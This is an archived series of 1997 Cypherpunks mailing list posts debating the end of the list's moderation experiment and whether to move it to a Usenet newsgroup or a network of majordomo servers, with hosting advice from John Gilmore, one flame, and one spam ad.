> 
> Jeez, do you have an ego or what?  Who died and made you the king?
> Your only claim to fame is your equipment that's hosting the list.
> Your reputation is in the toilet.  You're nobody.  In fact, you're
> less than nobody.  Your best bet would be to crawl into a hole and
> pull the dirt in over you.
> 
> > The next ten days of moderated discussion, through the end of the
> > original experiment, will give the community a chance to discuss
> > whether and where it plans to host the list after the experiment is
> > over.  My feeling is that the stalkers who have been trying to shut it
> > down (Dimitri, etc) will be out in full force, trying to disrupt the
> > process of finding a new home.  It would be very hard to make progress
> > along that line in an unmoderated list.  Cypherpunks-unedited readers
> > are welcome to try.
> 
> Yet another accusation that Dimitri's purpose is to "shut it down".
> The very fact that it's you who have the com puts the lie to that.
> 
> > Sandy reports that he's changing his criteria for moderation for the
> > remainder of the experiment.  It was his idea, and I approve.  The
> > criteria now are:
> 
> Another experiment run by the same incompetent bozo who screwed up
> the first experiment.  Don't you clowns ever get it?  You do, but
> then again, you have a hidden agenda.
> 
> >         *  The topics of the list are:
> >                 cryptography
> >                 setting up replacements for cypherpunks@toad.com
> >         *  On-topic, legal, posts will go to the list.
> >         *  Postings with any hint of legal liability (in Sandy's opinion)
> >            will be silently ignored.
> >         *  Legal but off-topic posts will go to cypherpunks-flames.
> > 
> > Sandy will apply these criteria retroactively to the backlog (of about
> > 140 messages), which means that most recent criticisms of the
> > moderation (which don't invove someone volunteering to do things for
> > the list) will go straight to the flames list.  If you don't like it,
> > I recommend that you start your own list.  Soon.
> > 
> > For me it's a sad thing that the community's willingness to pull
> > together has degenerated to the point where I feel better off
> > separating from the list.  I hope that others in the community will
> > create one or several alternatives that work better.
> 
> So you think you've fulfilled your obligation?  There's only one
> thing that will ever save you.  Get down on your knees and confess,
> saying to God and the list subscribers what a pathetic sinner you
> are, and beg for their forgiveness.  Then get to work for the people,
> and give up trolling for the feds.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: btrest@octonline.com
Date: Wed, 12 Feb 1997 12:20:35 -0800 (PST)
To: michelle@asda.net
Subject: Hi there...
Message-ID: <19355814803400@octonline.com>
MIME-Version: 1.0
Content-Type: text/plain


<<----------
Welcome to the Party Plus , where people from around the world come to
chat live!

Take a break from surfing with your modem.

No lost links and no lags...  Surf the Party Plus way!

Only long distance charges apply!

Pick up your phone, call, and experience a virtual party like you have
never experienced before!

Call 1+(664) 410-2595     1+(664) 410-2595     1+(664) 410-2595   
<<----------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Tue, 11 Feb 1997 12:57:24 -0800 (PST)
To: gnu@toad.com
Subject: re: Moderation experiment almost over; "put up or shut up"
Message-ID: <v03010d03af268bf784cb@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain


*** This is for Sandy and John, not for the list itself ***

Damn. Another example of the Tragedy of the Commons.

I'm sorry you decided to pull the plug -- but I fully understand your
reasoning. As I mentioned in an e-mail (and/or conversation a while back),
I'd be happy to help with the moderation as long as (a) it doesn't
prevent me from doing my "real" job and (b) we can figure out a solution
to the obvious logistics problems (I'm on a Mac, not a Unix box).

In any case, thanks to John and Sandy for all the hard work.

Martin.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 11 Feb 1997 13:05:13 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Network of majordomos
In-Reply-To: <199702111340.FAA18603@toad.com>
Message-ID: <3.0.1.32.19970211130922.0071b8f0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:45 AM 2/11/97 -0600, Firebeard wrote:

>[...] I've already taken steps, along with Jim Choate, to
>start a network of majordomos hosting a Cypherpunks mailing list.
>[...] Our intention is to have a set of majordomos which
>are intersubscribed to a cypherpunks list on each one, with measures
>taken to ensure that mail loops don't develop.

I still think you're just rediscovering Usenet technology. Instead of
installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if
you don't like alt.cypherpunks, you could simply start your own top-level
cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're
an evil CIA brain-stealing censor) so that cpunks at large could connect with
newsreaders or their own servers and send/rcv newsgroup traffic? Many cpunks
could do this (instead of using Majordomo) locally, connecting to each other
to achieve wide propagation and low latency.

And, if you must, run mail-to-news gateway(s) which send the newsgroup to
people who want it as E-mail.

Usenet technology does exactly what you're describing: it's a distributed
database of messages designed to facilitate each server getting its own copy
of every message, and holding it locally for distribution to interested
readers. Other people have been kind enough to write, debug, and document the
software - all you have to do is install it. This could be running tonight. 

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMwDefP37pMWUJFlhAQGg8wf/R/XcPI7UTmiktI0ce0cR0x54O2pTr2ju
WRZ3OXNV7X8xOmU8zhvj/Q6Rg0etZRmDfj9wM51mCZuOx6uh94IlFvBTpFnEz8Vg
tM3zeWSt/SukyGfxRLkrRYF4GMU5eKEYBYI7p/3q6WioYBk4JI22EeAyr5Cn+1IA
icMJhCpfUE6P1YoC+7zPh+Kbp8Ny3tCtry/axsSZfVRsBZr2M33VONe47quC1l5A
CBEEllkeSZey6VfAhrBxLOGiD42evx/TYU1yeR2bhcHUcQ0e5MTR8o8eDBoreuXF
ntT9vD0Ov0BEhP2j5r6xC6WcFX0iEynxwErC3nNURPE5CPCoRXws/w==
=w4Av
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 11:30:34 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <v03007800af264c8cba96@[207.167.93.63]>
Message-ID: <199702111920.NAA18063@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


If the people decide for creation of a new USENET newsgroup,
we need to think very hard about actually moving it to a different
hierarchy from alt.*. I would propose comp.org.cypherpunks,
comp.cypherpunks, sci.crypt.cypherpunks or something like that.

A comp.* or sci.* newsgroup, if created, has the following advantages
over an alt.* newsgroup:

1) There is usually less spam in sci.* or comp.*
2) There are virtually no completely irrelevant flamewars
3) The propagation will be a lot better
4) More people will be able to read it because of the issue of providers
   not carrying alt.*.

I see nothing that would make a sci.* or comp.* newsgroup  worse than
alt.* newsgroup.

igor

Timothy C. May wrote:
> 
> 
> (Please leave my name in any replies to ensure I see your comments.)
> 
> I talked to Hugh Daniel at the Saturday meeting about the creation of an
> "alt.cypherpunks" unmoderated (of course) newsgroup as a possible
> alternative (or supplement) to cypherpunks@toad.com. Greg Broiles and John
> Gilmore were there for part of the discussion, too.
> 
> (We did not, unfortunately, get to the "future of the list" topic at the
> physical meeting...the excellent presentations ran way over the expected
> time and we never got to this topic. Sort of too bad, given John's edict
> that we have 10 days to find and implement an alternative....)
> 
> A Usenet newsgroup has many advantages and disadvantages. Whether it might
> be gatewayed to other mailing lists--perhaps even the list(s) which
> survives "cypherpunks@toad.com"--depends of course on the decision of those
> hosting others lists.
> 
> A charter statement is needed, and then the issuance of a creation message.
> A better charter statement will increase the chances of more sites carrying
> the newsgroup. While many sites carry essentially all newsgroups--more than
> 30,000--, some sites do not and only carry some of the alt.heirarchy. And
> some sites do not carry _any_ of the alt newsgroups.
> 
> At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement.
> Suggestions for additional language or changes are welcome.
> 
> Charter for alt.cypherpunks: (suggested)
> 
> "Alt.cypherpunks is for the unmoderated discussion of cryptography and the
> political, social, and economic implications of unrestricted, strong
> cryptography. The Cypherpunks grpup has existed since 1992 and has been
> central in the debate about strong crypto, government restrictions, crypto
> anarchy, and in showing weaknesses of various ciphers and security
> products. The mailing list has had as many as 1500 subscribers, plus
> gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks"
> will be a free-wheeling forum for many viewpoints. As it is unmoderated,
> readers are strongly advised to learn how to use filters and other tools
> for making virtual anarchies manageable for their own tastes."
> 
> I invite your comments, editorial suggestions, etc. Perhaps when enough of
> the "collective mind" has made inputs (ughh!), the charter can be submitted
> with the creation message. (I'm not knowledgeable about the process, but
> I'll bet many of you are.)
> 
> There are of course disadvantages to such a newsgroup, as any Usenet user
> certainly knows. However, there are advantages as well. Here are some of
> each:
> 
> 
> * Advantages:
> 
> - Usenet is set up to automagically propagate articles across tens of
> thousands of sites.
> 
> - there is no "nexus" of control, no chokepoint, no precedent (in the U.S.)
> for halting distribution of Usenet newsgroups. (Canada stopped some
> Homulka-Teale newsgroups a few years ago, other countries have blocked
> entire sections, but note that the Scientologists have been unable to block
> "alt.religion.scientology"...I surmise that a mailing list version of
> a.r.s. would have faced lawsuits against the list.owner, if reachable in
> U.S. or European courts...a lesson to think about with the current
> imbroglio over certain claims about certain products and the possible
> liability of Sandy and/or toad.com.)
> 
> - fairly sophisticated newsreading software already exists.
> 
> - no "unsuscribe" and "unscrive" messages! (It makes it easy for newcomers
> to discover the group, read it for a while, then stop. It also, of course,
> increases the number of "What is crypto?" sorts of messages.)
> 
> - persons cannot be unsubscribed from an unmoderated list
> 
> - with a Usenet group, there is no ability to impose notions of "order" on
> the list (e.g., requirements for PGP-signing, demands for "on-topic" posts,
> removal of "illegal" posts, etc.). Thus, people must deal with a virtual
> anarchy by using proper tools, by ignoring what they don't want to see, or
> by contracting out the role of "nanny" to others.
> 
> 
> * Disadvantages
> 
> - Usenet newsgroups are easy targets for spammers, even more so than are
> mailing lists.
> 
> - crossposting often gets out of hand. (With 30,000+ newsgroups, even
> well-intentioned posters often pick the "three or four most likely" targets
> for their posts).
> 
> - propagation is often spotty, and some sites have no access at all to the
> "alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many
> academic sites block just the alt.binaries.pictures heirarchy. Etc. A news
> to mailing list gateway is possible for these readers.)
> 
> - propagation may be slower than mailing lists.
> 
> - Usenet is of course archived and easily searchable via Alta Vista, Deja
> News, etc.. This bothers some people. (However, the CP mailing list is now
> also archived and searchable, so the disadvantage is becoming moot.)
> 
> - persons cannot be unsubscribed from an unmoderated list (this is also an
> advantage, of course)
> 
> - there will be more newbie-type messages, as casual browsers of Usenet
> discover alt.cypherpunks and ask questions. This is both a disadvantage and
> an advantage.
> 
> 
> * Discussion of some of these points:
> 
> 1. The issue of slow- or non-propagation can be handled by having mailing
> lists which bounce the traffic (from a well-connected site) to folks who
> get slow distribution, or no distribution at all. News to mail gateways, in
> other words. Traffic in the reverse direction (end reader back to
> alt.cypherpunks) can be handled either by "blind posting" to the a.c.
> newsgroup, via one's newsreader, or through mail-to-news gateways, or
> perhaps via the distributor described here.
> 
> 2. And the services of "moderators," such as Eric Blossom's and Ray
> Arachelian's "best of" lists, or even Sandy's list, are of course still
> possible. A newsgroup does not change this, except for the latency in
> getting messages out to newsgroup sites.
> 
> 3. The advantages of a "no nexus, no chokepoint" distribution are huge. The
> Usenet carries huge advantages in terms of having no place to attack it.
> 
> 4. Some have raised the point that Usenet is "inefficient" and should not
> be used for this reason. Well, it may indeed be ineficient, but the costs
> have already been incurred, and alt.cypherpunks would only be 1/30,000th of
> additional load (very roughly speaking). In other words, might as well use
> what's out there. If a "second Usenet" ever comes into existence, fine.
> 
> 5. Some of us discussed the creation of alt.cypherpunks back in '92-93. At
> that time, we thought the mailing list had some major advantages. In my
> view, the situation has changed dramatically since then. The mailing list
> has become huge, the volume of noise has increased, majordomo is allowing
> the list to be used for spamming (any 'bot system will probably have this),
> and the list is already gatewayed to many sites as a _newsgroup_ anyway.
> 
> So, I think the time has come to just create it. The "activation energy
> barrier" of a mailing list, where people would have to make the effort to
> subscribe, has long since become irrelevant.
> 
> It may be a target for spammers, but it's hard to imagine it being much
> worse than what we have now.
> 
> Usenet is an anarchy. We might as well use it.
> 
> I've never created an alt group, but I presume many of you have (and I know
> of one currently fed up Cypherpunk who created the entire alt.* hierarchy a
> decade or so ago). I presume some of you can thus help in such an effort.
> 
> --Tim May
> 
> 
> 
> 
> 
> 
> Just say "No" to "Big Brother Inside"
> We got computers, we're tapping phone lines, I know that that ain't allowed.
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 11:31:45 -0800 (PST)
To: stend@sten.tivoli.com (Firebeard)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <vpbu9r9tqj.fsf@grendel.tivoli.com>
Message-ID: <199702111921.NAA18078@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


i have already set up majordomo@algebra.com and cypherpunks@algebra.com 
and can join.

igor

Firebeard wrote:
> 
> >>>>> John Gilmore writes:
> 
> JG> Sandy has agreed to continue moderation through the end of the
> JG> original 1-month experiment (through Feb 19).  And it's a good
> JG> thing, too, because the "cypherpunks community" had better get off
> JG> its whining butt in the next ten days, or it will no longer exist.
> 
> [...]
> 
> JG> This is a "put up or shut up" to the cypherpunks community.
> 
> 	This appears to be as good a time as any to announce that I'm
> "putting up".  I've already taken steps, along with Jim Choate, to
> start a network of majordomos hosting a Cypherpunks mailing list.  I
> didn't intend to announce this until Jim and I had gotten the first
> pair of 'domos working properly, but this means that we'll need to
> speed things up.  Our intention is to have a set of majordomos which
> are intersubscribed to a cypherpunks list on each one, with measures
> taken to ensure that mail loops don't develop.  As the resulting
> mailing list from each 'domo will be identical, periodically
> (initially weekly), the subscriber lists of all of the participating
> majordomos will be compared, with any duplicate subscribers being
> removed from the 'domo(s) with the longest subscriber list.  There
> will be no filtering done of any mail to the collective list, although
> anyone interested in providing a filtered list will be welcome to
> subscribe to the list.  Anyone interested in joining the 'domo network
> with the conditions described (duplicate subscriber checking and no
> filtering) is welcome.
> 
> 	John, I'd appreciate your permission to use your Cypherpunks
> welcome message as the basis for the welcome message of this new list.
> Also, while we will make every effort to have this new list available
> for subscriptions by Feb 20, I'd appreciate it if you could consider
> making the current list available for a short period longer if we
> encounter unanticipated difficulties.
> 
> -- 
> #include <disclaimer.h>                               /* Sten Drescher */
> ObCDABait:      For she doted upon their paramours, whose flesh is as the
> flesh of asses, and whose issue is like the issue of horses.  [Eze 23:20]
> ObFelony: President Clinton, you suck, and those boys died!
> Unsolicited bulk email will be stored and handled for a US$500/KB fee.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 11:33:08 -0800 (PST)
To: alan@ctrl-alt-del.com (Alan Olsen)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <3.0.1.32.19970211083054.02e60618@mail.teleport.com>
Message-ID: <199702111923.NAA18120@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


linux with 16 MB ram will probably get you through.

igor

Alan Olsen wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 05:50 AM 2/11/97 -0800, Sandy Sandfort wrote:
> >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> >                          SANDY SANDFORT
> > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> >
> >C'punks,
> >
> >You have probably just read John's post.  I truly hope YOU (each
> >and every one of you) can rise to his challenge.  If you have 
> >offered nothing in the past but criticism, it's now time to get a
> >bit more real.  What will it be, your money, time, equipment?
> 
> What kind of memory requirements/machine load does the list eat up?  I have a
> machine that may fit this purpose...  (Need to know if I need to upgrade the
> box though.)
> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
> 
> iQEVAwUBMwCeq+QCP3v30CeZAQGpwAf+MXRvC4wB6LeJkwsQa7yWI1g2TEYFJZ6O
> 1wD1S1QeRu1GMGRfUC3/9OTsQFijQLrOVb3MIXiy7bYxzcZsShd2cgKf4cL3HhjV
> T/PH1M2uUEpOJEHLF4jCKvspySgCuLfHK+7V0+fNRO0MFQZZeCNvEd2Awog8Ue0q
> OIi/jwBvzNITeBQzGu8zrBuS3VHWjMmi66kio1GV6xFL+JLwQWMsi6hT8hSiZ/TT
> fOhvAfECT/hGFFDdu3/R0JYkw1B9IO7Uh0NNgH1pl7HoJiBWfU/HTDoRsruKkweX
> 7eDVPxB0MR10Q5XCeoH1EA3Lwd3HdNFVEsUJc+myjN58vnZ5Vo+TGQ==
> =CWO1
> -----END PGP SIGNATURE-----
> 
> ---
> |            "Mi Tio es infermo, pero la carretera es verde!"            |
> |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
> | mankind free in one-key-steganography-privacy!"  | Ignore the man      |
> |`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
> |         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Only Guy <onlyguy@dev.null>
Date: Tue, 11 Feb 1997 11:54:03 -0800 (PST)
To: anand abhyankar <anand@querisoft.com>
Subject: I'm Sandy / Re: sandy who??
In-Reply-To: <199702111656.IAA22307@toad.com>
Message-ID: <3300E981.280D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


anand abhyankar wrote:
> i am a new addition on the mailing list. i am amazed to find that half
> the mails talk about "sandy (god knows who he is) and he censoring
> mails" rather than crypto stuff.
> 
> somebody please let me know who sandy is and what exactly is this
> censoring issue.

anand,
  I am Sandy.
  I am also John Gilmore.
  I am Dr. Vulis, Greg Broiles, Dr. Vulis, Sean Roach, and Attila T. Hun.

  I started the cypherpunks list a few years ago, and nobody joined, so
after a while, I began subscribing myself as other people and carrying
on dialogues with myself, hoping to spark some interest in the list.
  Still, nobody subscribed, so I redoubled my efforts, and after a while,
things got a little out of hand. Before I knew it, I had over 1,500
personalities integrated within the list, which was now consuming my
whole life.

  Recently, after years of therapy, my many personas began struggling
with each other for domination of my own communal mind.
  My therapist finally had me to the point where I was ready to be fully
cured. I was ready to take the big step, and kill the list, restoring
my sanity and reverting, once again, to a single personality.

  But now I am in a quandry. After all these years, I finally have a
real subscriber to the list.
  So I have come to a decision. Since you are the only real subscriber
to the list (besides my own 1,500 personas), I have decided that I will
let you decide the future of the list.
  I await your decision.

Sincerely,
  The Only Guy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Tue, 11 Feb 1997 14:08:53 -0800 (PST)
To: Greg Broiles <stend@sten.tivoli.com>
Subject: Re: Network of majordomos
Message-ID: <v02140b00af269c3f8839@[206.184.194.14]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:09 PM 2/11/1997, Greg Broiles wrote:
>At 10:45 AM 2/11/97 -0600, Firebeard wrote:
>> [...] I've already taken steps, along with Jim Choate, to
>> start a network of majordomos hosting a Cypherpunks mailing list.
>> [...] Our intention is to have a set of majordomos which
>> are intersubscribed to a cypherpunks list on each one, with measures
>> taken to ensure that mail loops don't develop.

> I still think you're just rediscovering Usenet technology....

> And, if you must, run mail-to-news gateway(s) which send the newsgroup to
> people who want it as E-mail.

> Usenet technology does exactly what you're describing:...

How about this?  The people who like Usenet should race ahead and set
it up.  The people who like networks of majordomos should race ahead
and set those up.  Just so long as the tracks meet somewhere in Utah.

The more people are involved with distributing the "list" the more
robust it will be.

Peter Hendrickson
pdh@best.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Tue, 11 Feb 1997 14:24:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702111340.FAA18603@toad.com>
Message-ID: <199702112210.OAA01556@gulch.spe.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore writes:
[ . . . ]
 > Either you list denizens will, among yourselves, put in the energy to
 > build a new home for the list (and run it in whatever way your
 > volunteers want) by Feb 20, or the list will cease to exist on Feb 20.
[ . . . ]

Denizens,

     I can provide a pentium box running Linux with a T1 connection to
MAE-West to host the list, if there is still interest.  The domain
name would be hidden.net (reserved in anticipation of running a
remailer).  I'd use majordomo.

     Before doing this, I'd need the answers to a few questions:

     - Is there still any interest in a cypherpunks mailing list?

     - Is alt.cypherpunks a better alternative?

     - Should posting to the list be limited to subscribers?
       Naturally, one could subscribe from a nym.alias.net account.

     - Majordomo can be configured to require confirmation of
       subscription requests, thus avoiding some attacks.  Is there
       any simple way to protect against mailloops?  Directly
       accessing the listname-outgoing alias?

     - Is a pentium up to the task of running a list of this size and
       volume?

     Let me know what you think.

Regards,

Patrick May




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Bostick <abostick@netcom.com>
Date: Tue, 11 Feb 1997 14:42:25 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702111721.JAA22739@toad.com>
Message-ID: <Pine.3.89.9702111425.A20441-0100000@netcom3>
MIME-Version: 1.0
Content-Type: text/plain


The ways of the alt.* hierarchy are such that it would be best if at
least some of this discussion were made in alt.config .

Virtually anyone can issue a newgroup message.  The trick is to issue
one that newsadmins will honor.  That purpose will be well served by
proposing and discussing the group in alt.config .  Issues that sway
newsadmins there include:

The perception of need:  The high volume of cypherpunks traffic plus
the impending loss of its home on toad.com should be sufficient.

"Proper" naming.  Unless one is anticipating a growth of
alt.cypherpunks.* newsgroups in the future (alt.cypherpunks.flames?
alt.cypherpunks.sources? etc.)  new alt.* newsgroups are better
received if they don't have top-level names.  Using existing top-level
hierarchies is better (e.g. alt.security.cypherpunks or 
alt.privacy.cypherpunks).  It is best to have a name likely to be
considered well-formed already in mind when one makes the initial 
proposal, because bickering about naming can distract from the actual
merits of the proposal.

Tim's proposed charter is a fine start, and probably needs little
or no modification.

I say it's a fine idea. Who bells the cat?

Alan Bostick               | My conclusion is that this is most likely an 
                           | exceptionally well executed fake. It remains the
mailto:abostick@netcom.com | most authentic alien image that I have ever seen.
news:alt.grelb             |      Whitley Strieber
http://www.alumni.caltech.edu/~abostick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Tue, 11 Feb 1997 15:10:25 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <Pine.3.89.9702111425.A20441-0100000@netcom3>
Message-ID: <9702111503.ZM29725@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


On Feb 11,  2:42pm, Alan Bostick wrote:
> new alt.* newsgroups are better
> received if they don't have top-level names.  Using existing top-level
> hierarchies is better (e.g. alt.security.cypherpunks or
> alt.privacy.cypherpunks).

I agree that alt.privacy.cypherpunks is the best bet, if alt.group
is the route we go.

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 11 Feb 1997 15:09:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702112309.PAA28849@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


What about totally uncentralized.  Instead of using a system like
majordomo.com, each person maintain a list of "subscribers", I would be
willing to at least attempt to be one lightening rod for "subscriptions".
Since I am using the schools machine to read the list, and I don't have any
extra priveledge, I would have to do it manually and might quickly stop, but
I would be willing to try.
In this way, everyone is moderately censored by the processor time expended
in mailing a message CC:'d to everyone, but no one could effectively do any
type of blocking of the list.
Those acting in the place of majordomo could regularly trade lists for
alphabetization, (so that the lists should be identical), and file comparing.
This list could then be sent to anyone who wanted to be a "subscriber" so
that they could post as well.
A more effective way would be to have the distributed list as previously
discussed, or even maintain one account or web-page to hold the names, but I
can't help with that.
Just an idea.

One small problem, with such a list, advertisers may feel less obligated to
follow standard rules of ettiquite.  They may feel that the list is even
more "open season" than they as a group feel now.

I hope that everyone will post to this thread as I would like to be able to
"fall in" with the majority decision.  To do that, there needs to BE a
majority decision.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 11 Feb 1997 15:10:22 -0800 (PST)
To: Patrick May <pjm@spe.com>, gnu
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702112210.OAA01556@gulch.spe.com>
Message-ID: <199702112310.PAA28883@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>      - Is a pentium up to the task of running a list of this size and
>        volume?

A pentium is definitely up to this task.  I've been running it the
whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
general computing).  Give it a big /var/spool partition (mine is 60MB)
because every message will sit in the queue for days (*somebody* on
the list will have an unreachable name server or MX server until the
msg times out).  Give it lots of RAM and paging space, since each
sendmail process takes about 2MB virtual, 1.4MB physical, and you will
have dozens running at the same time.

The new version of majordomo (that allows confirmation of
subscriptions) will help a lot.  It needs a small patch though, to do
exponential backoff on the lock file, or when you get a flood of
messages, thirty majordomo processes will burn up the whole machine
trying and failing to get the lock file.

You'll need a BIG mailbox for the bounce messages, and someone (or
some unwritten software) to scan it every day or two and delete the
lusers whose mailboxes are full or who dumped their account without
unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
email a day; more when the list is under attack.

You'll want to run the latest version of BIND on the machine, too,
since doing DNS name-lookups on a thousand email addresses is expensive.
You want them all in the in-memory cache on the same machine.  The
name daemon burns about 7MB virtual, 5MB real RAM once its cache
gets loaded.

Make sure that every message sent to the list gets into at least
two logfiles -- on separate partitions, in case one fills up.  At
least if you want to have an archive of what's been sent.

>      I can provide a pentium box running Linux with a T1 connection to
> MAE-West to host the list, if there is still interest.

Make sure you are getting "transit" service to the Internet, instead
of trying to cheap out with "peering" to a few major networks.
Without transit service ("we'll carry your packets to anywhere even if
the destination is not on our network") you won't be able to route
packets to some places on the net.  This will cause mail to those
subscribers to sit in the queue for days and then bounce.

The real issue is how willing you are to put your own time into
dealing with problems.  Not only do things go wrong by themselves, but
there are malicious assholes in the world who will deliberately make
trouble for you just because they like to.  Spending a day or two
cleaning up the mess is just part of the job.  Check your level of
committment two or three times before taking on the task -- so you
won't end up getting disgusted after a month or two and putting the
list's existence into crisis again.  It's not a "set it up and forget
it" kind of operation.

	John




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 11 Feb 1997 15:59:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702112359.PAA29858@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:45 AM 2/11/97 -0600, Firebeard wrote:
>>>>>> John Gilmore writes:
>
>JG> Sandy has agreed to continue moderation through the end of the
>JG> original 1-month experiment (through Feb 19).  And it's a good
>JG> thing, too, because the "cypherpunks community" had better get off
>JG> its whining butt in the next ten days, or it will no longer exist.
>
>[...]
>
>JG> This is a "put up or shut up" to the cypherpunks community.
>
>	This appears to be as good a time as any to announce that I'm
>"putting up".  I've already taken steps, along with Jim Choate, to
>start a network of majordomos hosting a Cypherpunks mailing list.  I
>didn't intend to announce this until Jim and I had gotten the first
>pair of 'domos working properly, but this means that we'll need to
>speed things up.  Our intention is to have a set of majordomos which
>are intersubscribed to a cypherpunks list on each one, with measures
>taken to ensure that mail loops don't develop.  As the resulting
>mailing list from each 'domo will be identical, periodically
>(initially weekly), the subscriber lists of all of the participating
>majordomos will be compared, with any duplicate subscribers being
>removed from the 'domo(s) with the longest subscriber list....
You might want to set up a temporary majordomo on the same machine as one of
the permanent daemons for debugging purposes.  It is conceivable to me that
a message might be sent to one sub-list, be forewarded to two lists, and
then each of those foreward the same message to each other, causing duplication.
You might get around this if the daemons keep track of each others, unique,
message ID numbers.
In other words, if each unit were to apend the message ID with a personal ID
number when the message came from someone other than a majordomo, then they
could collate them by number, eliminate duplications, and send them on down
the line.
To do this, the majordomo daemons will probably have to have a guaranteed
seat in the front of the cue.
This is probably a stupid point to bring up as you have probably already
cured this problem, but I decided to post it anyway.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 11 Feb 1997 16:27:24 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <3.0.32.19970211162359.006d17e8@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 09:15 AM 2/11/97 -0800, Timothy C. May wrote:
>- propagation is often spotty, and some sites have no access at all to the
>"alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many
>academic sites block just the alt.binaries.pictures heirarchy. Etc. A news
>to mailing list gateway is possible for these readers.)

Everybody with a web browser has access to alt newsgroups via
http://www.dejanews.com/





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 11 Feb 1997 16:27:25 -0800 (PST)
To: John Young <cypherpunks@toad.com
Subject: Re: STE_pup
